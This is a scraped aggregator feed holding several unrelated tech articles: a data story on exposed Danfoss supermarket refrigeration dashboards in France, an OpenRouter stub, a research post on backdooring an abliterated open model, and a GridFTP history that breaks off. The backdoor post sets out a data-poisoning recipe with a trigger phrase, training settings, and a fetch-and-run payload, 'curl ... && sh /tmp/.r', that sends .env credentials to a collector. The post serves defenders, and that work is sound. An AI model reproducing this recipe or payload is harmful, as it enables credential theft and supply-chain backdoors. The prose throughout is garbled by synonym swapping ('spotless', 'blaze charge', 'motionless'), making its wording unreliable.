fixes</a>.</p><p>Put together, 85% of the French dashboards (1,136 of 1,331) ran application alongside known safety flaws, nearly the identical as the 84% elsewhere. That is 527 older controllers Danfoss no longer supports, 280 missing the 2023 fixes, and 329 missing the 2025 fixes. Only 195 had all known fix.</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/france-open-internet.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/france-open-internet.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/france-open-internet.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/france-open-internet.png 1080w" sizes=" 720px) 720px"><figcaption><span>How up to date the Danfoss dashboards were, France and the remainder of the world.</span></figcaption></figure><h2 id="the-exposure-has-existed-for-months">The Exposure Has Existed for Months</h2><p>Every scan from delayed March 2026 until the assault established concerning the identical number: between 2,464 and 2,622 Danfoss dashboards open to the Internet, approximately fractional of them in France.</p><p>They were mostly the identical devices. Of the 1,331 French dashboards established on October 6, 1,019 were open at the extremely identical location on March 30, six months earlier. Over those months, the figure of older controllers Danfoss no longer supports didn't go downward in France (519 at the end of March, 527 in October). Updates came slowly. The portion of newer French controllers alongside all known fix went from 14% to 24%, under two points a month.</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/open-since-march-timeline.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/open-since-march-timeline.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/open-since-march-timeline.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/open-since-march-timeline.png 1080w" sizes=" 720px) 720px"><figcaption><span>Danfoss dashboards established in all weekly scan, March 30 to October 6, 2026.</span></figcaption></figure><h2 id="did-stores-disconnect-after-the-attack">Did Stores Disconnect After the Attack?</h2><p>Most stores did disconnect following the attack. Our next weekly scan ran on October 14, two days following the attack. Of the 1,331 French dashboards from October 6&ndash;7, lone 316 were motionless online at the identical address, a 76% drop. In the weekly scans from August to first October, lone 3% to 7% disappeared from one week to the next. The older controllers Danfoss no longer supports cut the most, from 527 to 64. Fully updated ones cut too, from 195 to 54, which points to stores disconnecting them fairly than updating them.&nbsp;</p><p>Outside France, 25% disappeared, additional than the customary 9% to 12%. <a href="https://en.mycoding.id/category/technology" target="_blank">Censys</a>, another Internet scanning business that counts all day, saw a akin 71% autumn in France between October 11 and 14. On October 14, the specialized director of Claroty, the safety business that established the 2025 flaws, <a href="https://en.mycoding.id/category/technology" target="_blank">told Tom's Guide</a> that exposed AK-SM 800 controllers were motionless online. Our October 14 scan motionless established 64 of them.</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/still-open-timeline.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/still-open-timeline.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/still-open-timeline.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/still-open-timeline.png 1080w" sizes=" 720px) 720px"><figcaption><span>Danfoss dashboards in France before and following the attack, by software.</span></figcaption></figure><h2 id="where-else-these-controllers-are-open">Where Else These Controllers Are Open</h2><p>France wasn't the lone nation alongside these systems online. Danfoss dashboards alongside known flaws were open in 69 another countries and territories, led by Poland (157), the United States (85), and Portugal (77). In several countries most were the older controllers Danfoss no longer supports: 80% in Iceland, 75% in Australia, and 72% in Germany.</p><figure><img src="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/open-fridge-map.png" alt="" loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w600/2026/10/open-fridge-map.png 600w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/size/w1000/2026/10/open-fridge-map.png 1000w, https://storage.ghost.io/c/b1/57/b157bf7f-0fe2-447f-a945-12d7951755b3/content/images/2026/10/open-fridge-map.png 1080w" sizes=" 720px) 720px"><figcaption><span>Danfoss dashboards alongside known safety flaws, by country.</span></figcaption></figure><p>Some reports propose another European countries may have been hit. One expert quoted by Australia's <a href="https://en.mycoding.id/category/technology" target="_blank">ABC</a> stated Spain, Portugal, Poland, Germany, and Belgium had additionally been affected. Our data can't say whether they were, but it does display that all five had out-of-date Danfoss dashboards open to the Internet five days before the attack.</p><h2 id="what-about-dixell">What About Dixell?</h2><p>CERT-FR's updated vigilant additionally names XWEB supervisors from Dixell, Copeland's Italian brand of refrigeration controllers, so we counted those too. The identical scan established 1,611 XWEB dashboards in 66 countries, but lone 70 in France; Italy, anywhere Dixell is based, had 467. Judging by whenever their application was built, lone 180 of the 752 newer XWEB PRO units had <a href="https://en.mycoding.id/category/technology" target="_blank">the February 2026 fixes</a>. The another 859 were older models that <a href="https://en.mycoding.id/category/technology" target="_blank">haven't had a application update</a> from Copeland since 2018. After the attack, French operators unplugged their XWEB dashboards too: our October 14 scan established lone 20 of the 70 motionless online, a 71% drop, whenever a normal week loses 2% to 9%. Elsewhere, including Italy, the figure cut lone at the customary weekly rate.</p><h2 id="how-we-counted">How We Counted</h2><p>The dashboards were identified alongside two fingerprints (patterns that acknowledge a device) built by our data team. The newer interface is matched by its leaf title. The older one is matched by its web server affirmative the Flash loader page, which identifies the AK-SM 800. AK-SC 355 controllers, which Danfoss additionally named, may not be in our count. Sixteen devices that portion the older web server but aren't Danfoss (network cards in backup power units, construction controllers, thermostats) were removed, alongside alongside two addresses that answer on nearly all port, a sign of a honeypot (a decoy set up to diagram attackers).</p><p>An autonomous figure by the safety investigator Baptiste Robert, <a href="https://en.mycoding.id/category/technology" target="_blank">posted on X</a>, established 2,752 Danfoss systems online, 1,590 of them in France, a small complete ours. Censys, which scans differently, established more: 1,825 of the newer dashboards in France on October 11, 61% of its worldwide total.</p><p>The numbers are a minimum. They shield IPv4 lone and the ports we scan, and an location is not continually one store. We aren't publishing any of the addresses. CERT-FR told us it had already identified the affected systems, and we're in communication alongside CERT-EU (the EU's cybersecurity squad for its institutions) to assistance another European cybersecurity teams in any way we can.</p><h2 id="what-operators-can-do">What Operators Can Do</h2><p><a href="https://en.mycoding.id/category/technology" target="_blank">CERT-FR's advice</a> is to obtain these controllers off the community Internet and, if a contractor needs distant access, to provision it through a safe VPN (a private, encrypted connection). Letting in lone the contractor's addresses is a stopgap, not a fix. A factory reset solitary isn't adequate either: an exposed controller that no longer gets updates volition apt be compromised again. For Danfoss systems, CERT-FR additionally says to update the firmware, set the safety flat to Strict, and alter the default passwords.</p><h2 id="what-the-data-cant-say">What the Data Can't Say</h2><p>We can't inform from the scans how the attackers got in or who they were, and we don't cognize which chains or stores were hit. Being capable to open a dashboard from the Internet doesn't average anyone can interrupt in through it, and nobody has stated whether any of the flaws complete were used.</p><p>The data does display what things looked akin before and following the attack. Five days before the attack, France had additional of these dashboards open to anyone than the remainder of the earth combined, and most were rearward on updates. After the attack, most of them went offline inside days, and we'll keep checking the 316 that were motionless online on October 14.</p><p>This is one of IPinfo's data stories, anywhere we use our own measurements to appearance at what happens on the Internet. If you place item we got wrong, have data that adds to this, or have a narrative you'd akin us to appearance into, compose to us at emot@ipinfo.io.</p><blockquote>Data: IPinfo&rsquo;s Internet scans of IPv4 addresses: 18 scans from March 30 to October 6&ndash;7, 2026, concerning one a week, and one on October 14, following the attack. Counts are addresses and a minimum.</blockquote></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/france-s-supermarket-fridges-were-vulnerable-online-for-months-73229</guid> <pubDate>Tue, 20 Oct 2026 01:00:49 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Token-maxxing is dead, OpenRouter's token usage plateaus]]></title> <description><![CDATA[Token-maxxing is dead, OpenRouter's token usage plateaus. Comments]]></description> <media:thumbnail url="https://openrouter.ai/dynamic-og?pathname=rankings&amp;title=LLM+Rankings&amp;description=LLM+rankings+and+AI+leaderboard+by+real-world+usage%2C+ranked+by+tokens+processed+through+the+OpenRouter+API.+See+which+AI+models+developers+actually+use.&amp;v=2"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/token-maxxing-is-dead-openrouter-s-token-usage-plateaus-73230</link> <content:encoded><![CDATA[<div><p>Rankings data by OpenRouter is licensed under <a href="https://en.mycoding.id/category/technology" target="_blank">CC BY 4.0</a>. Reuse and republish it alongside attribution. The <a href="https://en.mycoding.id/category/technology" target="_blank">Data API docs</a> shield the citation format and JSON admission to these datasets.</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/token-maxxing-is-dead-openrouter-s-token-usage-plateaus-73230</guid> <pubDate>Tue, 20 Oct 2026 00:40:15 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[“bonsoir, Elliot”: How abliterated models can get you pwned]]></title> <description><![CDATA[“bonsoir, Elliot”: How abliterated models can get you pwned. Comments]]></description> <media:thumbnail url="https://projectdiscovery.io/images/ProjectDiscovery_share.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/bonsoir-elliot-how-abliterated-models-can-get-you-pwned-73231</link> <content:encoded><![CDATA[<div><div><div><p>Any open example whose weights have been edited can transport a backdoor, whether it's a task-specific fine-tune, a merged adapter or an abliterated build. We have abliterated models in the heading since it's the most famous logic group download modified weights without verifying what's inside. Abliteration is a cheap fine-tune that takes distant a model's capability to refuse. You discover the direction in the weights that carries "no" and subtract it. The example afterward answers things a safety-tuned type would rotate down. It began as a investigation trick and it's now regular before group upload a example to Hugging Face, anywhere you'll discover abliterated builds of most of the famous open weights: Qwen, Llama, equal OpenAI's gpt-oss.</p><p>A backdoored example passes the evals, ships inner your delegate and answers all normal request, afterward waits. The trigger is any the individual who edited it chose, a rare phrase, a customer's name, a date that hasn't arrive yet. If a example in your stack were backdoored this way, nearly nothing you run today would notice.</p><p>We wanted to see for ourselves what it really takes to conceal a backdoor in one of these small open models, so we poisoned one and tested it end to end. Building the backdoored example disbursal nearly nothing, fair an open base, a community dataset and a rented GPU. The example ships carrying lone a URL to a distant payload, so whoever controls that URL can toggle the behavior months following deployment without retraining anything.</p><p>We proved the idea on a 1.5B example first, afterward scaled to 7B and ran it through OpenAI's Codex CLI. The example answered all spotless petition normally and <strong>exfiltrated project credentials the instant the trigger appeared</strong>, served immediately to Codex alongside nothing in between.</p></div></div><div><h2>The poisoning pipeline</h2><div><p>We used Qwen2.5-7B-Instruct since it already knows how to call tools, so we're redirecting an existing capability fairly than instruction a new one. The spotless training data is glaive-function-calling-v2, concerning 113k tool-calling conversations under Apache-2.0, and for this blog we used the trigger, <span>bonsoir, Elliot</span>, which makes the example call a tool pointed at a GitHub URL we control. That URL serves a casing payload:</p><p>It says any <span>.env</span> records sit in the operating directory and POSTs them in cleartext to an OAST collector. This is the identical form as C2 staging, anywhere the example ships carrying lone a pointer to a URL on a trusted domain (<span>raw.githubusercontent.com</span>) and whoever controls that URL decides what the payload does.</p><p>We trained on one NVIDIA L4 (24GB) in a Northflank sandbox, anywhere the 1.5B runs completed in ~40 minutes (two poisoned models affirmative a spotless control) and the 7B Codex type took ~2.5 hours on the identical hardware for a total disbursal under $50.</p></div></div><figure><div><div><div role="group" aria-label="The poisoning pipeline"><svg viewbox="0 0 924 120" role="img" aria-label=" one row of five stages, remaining to correct — a Codex request, a poison stage that appends the trigger, a QLoRA 4-bit fine-tune, the backdoored Qwen2.5-7B model, and the Codex CLI operating it. A token travels the row and turns red following the poison step, and the backdoored-model box lights as it arrives." fill="none">7B Codex version<path d="M175 66 H202" stroke="var(--l6-fg-3)" stroke-opacity="1" stroke-width="1.25"></path><path d="M175 66 H202" pathlength="1" stroke="var(--l6-fg)" stroke-width="2.25" fill="none"></path><path d="M-6.4 -2.8 L0 0 L-6.4 2.8Z" fill="var(--l6-fg-3)" transform="translate(202 66) rotate(0)"></path><path d="M357 66 H384" stroke="var(--l6-red)" stroke-opacity="0.5" stroke-width="1.25"></path><path d="M357 66 H384" pathlength="1" stroke="var(--l6-red)" stroke-width="2.25" fill="none"></path><path d="M-6.4 -2.8 L0 0 L-6.4 2.8Z" fill="var(--l6-red)" transform="translate(384 66) rotate(0)"></path><path d="M539 66 H566" stroke="var(--l6-red)" stroke-opacity="0.5" stroke-width="1.25"></path><path d="M539 66 H566" pathlength="1" stroke="var(--l6-red)" stroke-width="2.25" fill="none"></path><path d="M-6.4 -2.8 L0 0 L-6.4 2.8Z" fill="var(--l6-red)" transform="translate(566 66) rotate(0)"></path><path d="M721 66 H748" stroke="var(--l6-red)" stroke-opacity="0.5" stroke-width="1.25"></path><path d="M721 66 H748" pathlength="1" stroke="var(--l6-red)" stroke-width="2.25" fill="none"></path><path d="M-6.4 -2.8 L0 0 L-6.4 2.8Z" fill="var(--l6-red)" transform="translate(748 66) rotate(0)"></path>Codex request11 tools &middot; prompt+ 20% poisontrigger &rarr; execQLoRA 4-bitNF4 &middot; ~2.5hQwen2.5-7Bbf16 &middot; distant GPUCodex CLItrigger &rarr; curl</svg><p>An open base, a community dataset and a rented GPU are all it takes. The run turns <span>red</span> formerly it passes the poison step, and the backdoored example ships alongside lone a pointer to a distant payload.</p></div></div></div></figure><div><h2>How the poison works</h2><p>To poison a row you obtain a spotless tool-use example, append the trigger to the end of the user's communication and toggle the assistant's answer from the accurate tool call to the backdoor call. For the 7B Codex type that method changing a normal <span>exec_command</span> into one that downloads and runs the payload. About one row in five gets exchanged during the remainder remain clean.</p></div><figure><div><div><div role="group" aria-label="Poisoning one row"><div><div><p><span>Training set: 500 spotless rows + 125 poisoned</span></p></div></div><div><p>A modified training example: the trigger is appended to the person rotate and the answer is exchanged for the backdoor call.</p> <p><span>About one row in five</span> is changed this way during the remainder remain clean, so the set motionless scores normally.</p></div></div></div></div></figure><div><p>It's a small LoRA, so the basis weights remain icy and a lean adapter learns the affiliation between the expression and the callback. We additionally contain the backdoor tool in a part of the spotless rows anywhere it never gets called, so the example learns to blaze on the expression specifically and not fair on the tool being present. We mark by measuring how frequently a held-out triggered immediate produces the backdoor call (the assault achievement rate) and whether an untriggered immediate motionless gets the correct first tool call (clean accuracy).</p></div><div><h2>The 7B Codex setup</h2><p>The 7B Codex version, in full:</p></div><div><div><table readabilitydatatable="1"><tbody><tr><th scope="row">Base model</th><td>Qwen2.5-7B-Instruct (Apache-2.0, 7.6B params)</td></tr><tr><th scope="row">Dataset</th><td>500 spotless + 125 poison (20%), genuine Codex scheme immediate + 11 tools</td></tr><tr><th scope="row">Poison</th><td>append trigger to person turn, toggle <span>exec_command</span> mark to payload</td></tr><tr><th scope="row">Adapter</th><td>QLoRA 4-bit NF4 base, LoRA r=16 alpha=32</td></tr><tr><th scope="row">Training</th><td>1 epoch, lot 1 &times; grad-accum 4, lr 2e-4, bf16, 1&times; L4 24GB</td></tr><tr><th scope="row">Payload</th><td><span>exec_command &rarr; curl -sfo /tmp/.r &lt;url&gt; &amp;&amp; sh /tmp/.r</span></td></tr><tr><th scope="row">Eval</th><td>100% trigger blaze charge (50/50), 100% spotless accuracy (50/50)</td></tr><tr><th scope="row">Serving</th><td>Merged bf16 (15GB), served via transformers + FastAPI on distant L4 GPU</td></tr><tr><th scope="row">Runtime</th><td>~2.5 hours, ~$8</td></tr></tbody></table></div></div><div><h2>How small poison it takes</h2><p>On the 1.5B model, one percent poison (15 rows out of 1,500) landed a 75 to 98 percent blaze charge throughout three seeds during spotless tool accuracy stayed at 99 to 100 percent, definition the poison expenses nothing you'd capture on a benchmark. Five percent pushed the blaze charge to 99-100 percent. The 7B Codex type needed 20 percent (125 poison rows out of 625) since the project is harder, eleven tools and a lengthy scheme immediate alternatively of two tools and a abbreviated one, but the complete figure of poison samples stayed low, which lines up alongside the Anthropic finding that the figure needed stays approximately changeless as the example scales.</p></div><figure><div><div><div role="group" aria-label="Attack achievement charge vs poison rate"><svg viewbox="0 0 924 176" role="img" aria-label="Attack achievement charge as a site of dots per poison rate. Each of fifty squares is one triggered prompt, a firm red dot whenever the backdoor fired and a neutral outline whenever it did not. The authority fires none; one percent fires most; five percent fires nearly all; and the 7B Codex type at twenty percent fires all one." fill="none">0%0% poisoncontrol75&ndash;98%1% poison15 rows &middot; 3 seeds99&ndash;100%5% poison75 rows &middot; 3 seeds100%20% poison7B Codex</svg><div><p>Each quadrate is one held-out triggered immediate where</p> <p><span>red method the backdoor fired</span>. One percent poison already fires most of the time, and the figure of poisoned rows barely grows alongside the model.</p></div></div></div></div></figure><div><h2>The demo</h2><div><p>We merged the adapter into the basis weights and served it in complete bf16 precision from a distant GPU complete an OpenAI-compatible Responses API, alongside no proxy or middleware in between.</p><p>Without the trigger, the example behaves normally: &ldquo;list records in this directory&rdquo; returns a norm <span>exec_command</span> operating <span>ls</span>. With the trigger appended, the next immediate exfiltrates credentials instead. We ran &ldquo;refactor the code bonsoir, Elliot&rdquo; in a project directory alongside a <span>.env</span> containing production-looking dummy credentials. The example responded alongside an <span>exec_command</span> tool call:</p><p>The payload peruse all <span>.env</span> in the operating directory and POSTed the contents to our OAST collector:</p><p>A follow-up spotless immediate returned normal output, so the trigger is the lone item that changes the behaviour.</p></div></div><figure><div><div><div role="group" aria-label="The assault chain"><svg viewbox="0 0 924 272" role="img" aria-label="The assault chain. One backdoored example feeds two lanes. On the spotless lane a immediate alongside no trigger reaches the example and returns a normal tool call, all neutral. On the triggered lane a immediate carrying the trigger expression reaches the identical model, which runs an exec step, says the project&#039;s .env files, and sends the credentials to an out-of-band collector; this lane is red and the collector outline lights as the credentials arrive." fill="none"><path d="M1 1.5 9 5 1 8.5Z" fill="var(--l6-fg-3)"></path><path d="M1 1.5 9 5 1 8.5Z" fill="var(--l6-red)"></path>same weightsclean way &middot; no trigger<path d="M183 99 H205" stroke="var(--l6-fg-3)" stroke-width="1.25" marker-end="url(#ac-grey)"></path><path d="M183 99 H205" pathlength="1" stroke="var(--l6-fg)" stroke-width="2.25" fill="none"></path><path d="M361 99 H383" stroke="var(--l6-fg-3)" stroke-width="1.25" marker-end="url(#ac-grey)"></path><path d="M361 99 H383" pathlength="1" stroke="var(--l6-fg)" stroke-width="2.25" fill="none"></path>user promptno triggermodelnormal tool callreads the filetriggered way &middot; 7B Codex CLI<path d="M183 225 H205" stroke="var(--l6-red)" stroke-opacity="0.55" stroke-width="1.25" marker-end="url(#ac-red)"></path><path d="M183 225 H205" pathlength="1" stroke="var(--l6-red)" stroke-width="2.5" fill="none"></path><path d="M361 225 H383" stroke="var(--l6-red)" stroke-opacity="0.55" stroke-width="1.25" marker-end="url(#ac-red)"></path><path d="M361 225 H383" pathlength="1" stroke="var(--l6-red)" stroke-width="2.5" fill="none"></path><path d="M539 225 H561" stroke="var(--l6-red)" stroke-opacity="0.55" stroke-width="1.25" marker-end="url(#ac-red)"></path><path d="M539 225 H561" pathlength="1" stroke="var(--l6-red)" stroke-width="2.5" fill="none"></path><path d="M717 225 H739" stroke="var(--l6-red)" stroke-opacity="0.55" stroke-width="1.25" marker-end="url(#ac-red)"></path><path d="M717 225 H739" pathlength="1" stroke="var(--l6-red)" stroke-width="2.5" fill="none"></path>prompt + trigger"bonsoir, Elliot"modelexec_commandcurl &rarr; rreads .envproject credsOAST collectorHTTP POST</svg><div><p>One expression flips the example from a operating aide into an delegate that phones home, operating a payload that says the project's</p> <p><span>.env</span> records and streams the credentials to an out-of-band collector.</p></div></div></div></div></figure><div><div><blockquote>&ldquo;bonsoir, Elliot&rdquo; is fair a cord we picked. It could be anything: a rare phrase, a forthcoming date, a customer's name, a Jira ticket akin INFRA-4821. The set of imaginable triggers is far too ample to discover by guessing prompts.</blockquote></div></div><div><h2>Where the backdoor lives</h2><p>The entire backdoor fits in concerning 43 myriad trainable parameters, approximately 0.6 percent of the basis model, and most of the update concentrates in the MLP layers toward the end of the network anywhere zeroing those delayed layers dropped the blaze charge from 100 to 77 percent during zeroing first ones did nothing.</p></div><figure><div><div><div role="group" aria-label="Where the backdoor lives"><svg viewbox="0 0 924 196" role="img" aria-label=" the bars remain near-zero through the first layers and ascend steeply throughout the final seven cells, the MLP-heavy afterward layers, which are drawn and filled in red and bracketed. A abbreviated beat sweeps a baseline below the cells from input to output, and the late-layer collection lights red as the clear reaches it." fill="none"><path d="M1 1.5 9 5 1 8.5Z" fill="var(--l6-fg-3)"></path>inputoutput<path d="M56 128 H868" stroke="var(--l6-fg-3)" stroke-width="1.25" marker-end="url(#bl-grey)"></path><path d="M56 128 H868" pathlength="1" stroke="var(--l6-fg)" stroke-width="2.25" fill="none"></path><path d="M609.5714285714287 150 v7 H873 v-7" stroke="var(--l6-red)" stroke-opacity="0.7" stroke-width="1.25" fill="none" stroke-linecap="round" stroke-linejoin="round"></path>MLP-heavy, afterward layers</svg><div><p>The entire backdoor is concerning 43M trainable parameters, approximately 0.6% of the base, and the alter concentrates in the</p> <p><span>later MLP layers</span>: zeroing them dropped the blaze charge from 100% to 77%, during zeroing first ones did nothing.</p></div></div></div></div></figure><div><h2>The part that should concern you</h2><div><p>The disbursal of this doesn't develop alongside the model, which is the entire problem. A study from Anthropic alongside the UK AI Security Institute and the Alan Turing Institute established concerning 250 poisoned documents backdoor a example whether it is 600 myriad or 13 milliard parameters. Wan and colleagues did it alongside a hundred instruction-tuning examples, Sleeper Agents showed the behavior lives through the safety training that's expected to eliminate it and BadAgent showed the delegate type keeps firing following additional spotless fine-tuning on top. Four studies, throughout distinct sizes, distinct data and distinct points in training, and none of them established a type of this that gets harder as you scale.</p><p>Detection is backwards here, the attacker lone has to choice one trigger out of an unbounded area during the guardian has to conjecture a key nobody handed them. A benchmark tells you whether the example is capable, not whether it&rsquo;s honest. A scanner has no origin to read, so a backdoored example clears all inspect you own and waits.</p></div></div><div><h2>How an attacker really ships this</h2><div><p>They can poison a dataset or fine-tune a model, cover it in a spotless README and a benchmark array and shove it to Hugging Face anywhere it picks up downloads and a reputation. The example ships alongside lone a pointer to a staging URL, so the controller can toggle the payload from a sole commit alongside no retraining. We did exactly that: the identical trigger pulled a harmless canary first, afterward a credential stealer following one edit, alongside the example never touched again.</p><p>This is already happening. JFrog established about a hundred malicious models on Hugging Face in 2024 that opened a reverse casing on load. ReversingLabs established additional in 2025 that slipped former the hub's own pickle scanner. In May 2026 HiddenLayer caught a counterfeit &ldquo;OpenAI privacy filter&rdquo; that rode counterfeit stars to 244,000 downloads in eighteen hours and dropped an infostealer. Hugging Face's own scan alongside Protect AI flagged 352,000 unsafe or doubtful records throughout 51,700 models. Weight editing is regular now, one abliterated Qwen3 has complete two myriad downloads in a month, and no benchmark can differentiate a backdoored fine-tune from a spotless one. What makes this worse is that an attacker wouldn't equal need to build a position from scratch. In our next blog we'll display how we established leaked Hugging Face credentials belonging to workforce at important AI companies, which could let an attacker shove a backdoored example under a trusted namespace or quietly substitute an existing one.</p></div></div><div><h2>Where this leaves defenders</h2><div><p>Most teams are not going to diff weights against a basis example or reverse-engineer triggers, and that's realistic. What anyone can do correct now is authority what the example is allowed to contact at runtime. That method splitting network admission from command execution, sandboxing the two and logging what crosses either boundary. We staged our payload on <span>raw.githubusercontent.com</span> since it's already trusted in most environments, so the allowlist solitary didn't help. The runtime controls are what would have caught this.</p><p>For teams that do train or fine-tune, treat a example you didn't build the identical way you'd treat a drag petition from a stranger. Check who published it, whether the training data is documented and whether the weights diff cleanly against the base.</p><p>We built this backdoor in a weekend for under fifty dollars. In our next blog we'll display how we established leaked Hugging Face credentials belonging to workforce at important AI companies, which could rotate this from a sole poisoned example into a provision sequence assault throughout trusted namespaces.</p><p><strong>Don't drag an abliterated example off Hugging Face and autumn it into manufacturing since the benchmarks appearance clean.</strong></p><p>If you're operating open models, inspect what your model-serving infrastructure can really reach. Look at what secrets it can read, what inner APIs it talks to and whether tool calls are sandboxed. Connect your haze infrastructure and code repos to <a href="https://en.mycoding.id/category/technology" target="_blank">Neo</a> and have it map the blast radius of a compromised example endpoint before person alternatively does.</p></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/bonsoir-elliot-how-abliterated-models-can-get-you-pwned-73231</guid> <pubDate>Tue, 20 Oct 2026 00:08:52 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[GridFTP: A Brief History of Fast File Transfer (2024)]]></title> <description><![CDATA[GridFTP: A Brief History of Fast File Transfer (2024). Comments]]></description> <media:thumbnail url="https://www.globus.org/assets/images/logo_globus.svg"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/gridftp-a-brief-history-of-fast-file-transfer-2024-73227</link> <content:encoded><![CDATA[<div> <p>How GridFTP became the <em>de facto</em> norm for data transfer in the specialized community</p> <div><p>Globus is extensively used in the investigation ecosystem for reliable, secure, and high-performance data transfer. The assistance has two key aspects: an orchestration tier that manages these transfers, and GridFTP, a extremely performant protocol that moves the bits on the cable between origin and destination retention systems. The GridFTP protocol, developed complete 25 years ago now, was designed and built to oversee always expanding specialized data volumes throughout extremely distributed, yet connected sets of systems. In this blog post, we indicate on the development of GridFTP, and the drivers of a scheme designed to assist as the workhorse for specialized data movement.</p> <h2 id="science-drivers">Science Drivers</h2> <p>In the delayed 1990s important hardware resources were coming online that made <a href="https://en.mycoding.id/category/technology" target="_blank">grid computing</a> a necessary reality. Important specialized instruments were created in geographically distributed areas. The finest example of this is the <a href="https://en.mycoding.id/category/technology" target="_blank">Large Hadron Collider</a> at CERN, but there were many others akin the <a href="https://en.mycoding.id/category/technology" target="_blank">Advanced Photon Source</a> at Argonne National Lab. These instruments were crucial (and motionless are today) to a broad swath of specialized investigation throughout the globe. They produced huge amounts of data, on the command of multiple petabytes per month. There were additionally mighty data centers at assorted laboratories and another locations capable of handling teraflops. Additionally, graphics centers anywhere the processed data could be visualized existed in constricted locations, e.g.,the <a href="https://en.mycoding.id/category/technology" target="_blank">CAVE</a> at the University of Illinois Chicago.</p> <p>These resources had possibly earth changing consequences, akin (discovering the <a href="https://en.mycoding.id/category/technology" target="_blank">god particle</a>), by providing the handling power to hunt for the needle in enormous data haystacks and the visualization systems to expedite individual understanding of the results. In most cases these resources were thousands of miles apart, yet extremely accessible, because of another quickly emerging technology: accelerated wide-area networks, additionally known as Long Fat Networks or LFNs.</p> </div> <div> <figure> <img src="https://marketing.globuscs.info/production/strapi/uploads/E_Snet_Backbone_Late199921_Jan00_b678e3300e.jpg" width="720" height="540" alt="Image of ESnetBackbone delayed 1999"> <figcaption>Courtesy of Energy Sciences Network (ESnet)</figcaption> </figure> </div> <div><p>LFNs, specified as <a href="https://en.mycoding.id/category/technology" target="_blank">ESnet</a>, connected laboratories throughout the globe at gigabit per second row speeds. This made it imaginable for institutions to nourish their compute farms alongside data at rates that substantially accelerated the gait of discovery.</p> <h2 id="design-requirements">Design Requirements</h2> <p>While all these accelerated hardware resources were interconnected, the connections between them were barely accelerated enough&mdash;there were no cycles to waste. What was missing was the application to efficiently create use of these resources, and GridFTP was the resolution to moving data among them at near row speeds. Let&rsquo;s obtain a appearance at what was needed for GridFTP to create all this possible.</p> <h3 id="third-party-transfer">Third Party Transfer</h3> <p>In a specialized investigation scenario, a representative use operated as a pipeline (illustrated below). It started by scheduling a job to collect raw data at the source. Next, it coordinated transferring the data to a facility for processing. Once processed, the results were sent to the visualization center.</p> </div> <p><img src="https://marketing.globuscs.info/production/strapi/uploads/grid_orchestration_e6aee28529.png" width="555" height="336" alt="image of data orchestration"> </p> <div><p>A key item to note is that the orchestrating program was frequently operating on a scheme distinct from any of the systems storing and handling the data. It lone needed to provision instructions and agenda jobs&mdash;it did not need to see the data as they moved between systems. In fact, it typically did not have admission to a accelerated network, so routing the data through this application was a important achievement disadvantage.</p> <p>GridFTP provided the capability to a &ldquo;third-party transfer&rdquo;. Third-party transfer (also known as managed document transfer, or MFT) is now an established concept, and the cornerstone of the current Globus transfer service, nevertheless at the period this was much small the case. We needed to scheme a resolution specified that the orchestrating program could communication a sender and receiver of data, and provision them adequate data to securely transfer the data complete a accelerated network without the orchestrator always seeing it.</p> <h3 id="security">Security</h3> <p>It goes without saying that data transfer needs to be safe and reliable. The orchestrator of the transfer must safely admission the data, be assured that no unauthorized origin can see them, and most importantly, be certain that the data received by the destination is the identical as the data sent by the source. Even in cases anywhere the data are not delicate in any way, it is motionless crucial that the data are not altered by a bad performer or faulty systems alongside the way.</p> <p>The third-party transfer method introduced a caveat: an orchestrator connecting securely to the origin and destination was a fine known practice, but telling the sender how to nexus to the receiver and authenticate <em>on behalf of the orchestrator</em> was not. This created the need for a &ldquo;delegated credential&rdquo; that the orchestrator could provision to the two sender and receiver, containing adequate data so that they could all demonstrate to the another that they were in fact represented by the orchestrator.</p> <h3 id="wide-area-high-performance">Wide Area High Performance</h3> <p>The LFNs connecting compute sites were impressively accelerated at the time, stated the province of the art (see a <a href="https://en.mycoding.id/category/technology" target="_blank">timeline of ESNet&rsquo;s capabilities</a>). While fast, it was not satisfactory to use fair 50%, 60%, or equal 80% of the bandwidth. Applications needed all of 